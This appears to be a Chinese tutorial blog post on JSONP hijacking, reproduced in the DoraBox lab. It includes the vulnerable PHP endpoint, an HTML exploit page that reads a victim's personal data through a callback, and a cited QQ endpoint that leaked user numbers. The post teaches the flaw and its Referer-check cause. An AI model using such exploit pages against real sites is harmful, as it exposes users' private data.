Jsonp跨域漏洞浅析

为什么要用到jsonp跨域?

同源策略:协议、域名、端口都相同,是一种安全策略,不同源的客户端脚本在没有明确授权的情况下,不能读取对方资源。
在这里插入图片描述
在这里插入图片描述
如何解决跨域(目前我掌握的有两种手段

(1)JSONP方式
(2)跨域资源共享(CORS)cors跨域漏洞浅析

Json一般长这样

{“name”:“aufeng”, “blog”:“https://blog.youkuaiyun.com/weixin_41598660”}

它是一个非官方的协议,它允许在服务器端集成Script tags返回至客户端,通过javascript callback的形式实现跨域访问(这仅仅是JSONP简单的实现形式)。JSONP是一种非正式传输协议,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。

例如

http://www.dorabox.com/csrf/jsonp.php?callback=test

在这里插入图片描述
其中callback接口或许能插入xss的payload


Jsonp劫持漏洞复现

思维导图(个人理解
在这里插入图片描述
Phpstudy并且设置好网站域名攻击者为aufeng.com,漏洞页面为dorabox.com
在这里插入图片描述
搭建漏洞环境 dorabox,https://github.com/Acmesec/DoraBox
在这里插入图片描述
Json劫持漏洞源码

<?php
	include "../class/function.class.php";
	$reqMethod = "GET";
	$reqValue = "callback";
	$p = new Func($reqMethod, $reqValue);
	$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
	if(!@$_GET['callback']){
		echo $p -> con_function('json_encode',$info);
	}else{
		$callback = htmlspecialchars($_GET['callback']);
		echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
	}
?>

漏洞页面
在这里插入图片描述
编写exp

<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function vulkey(data){alert(JSON.stringify(data));}</script>

<script src="http://www.DoraBox.com/csrf/jsonp.php?callback=vulkey"></script>
</body>
</html>

构造的攻击链接为:http://www.aufeng.com/json2.html ,假设受害者点击该页面,攻击者将会获取受害者敏感信息。
在这里插入图片描述

分析:

但是如上的漏洞复现为什么成功?是因为漏洞服务器并没有对攻击者构造的页面请求进行referer的验证
在这里插入图片描述例如上面攻击的请求包里面,referer值是攻击者的构造页面,但是漏洞服务器并没有对来源的页面进行一个验证,导致了攻击者能获取到受害者的敏感信息。
(有的返回json数据会验证referer是不是从自己规定的域过来的)
在这里插入图片描述
常见json劫持exp
https://www.cnblogs.com/xiaozi/p/9963523.html
参考文章
https://www.cnblogs.com/xiaoan0705/p/8625454.html

乌云案例
1
登录QQ,访问http://dir.minigame.qq.com/cgi-bin/yxs/GetYxsRegTime?callback=callback&dstuin=泄露用户QQ
在这里插入图片描述

2
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值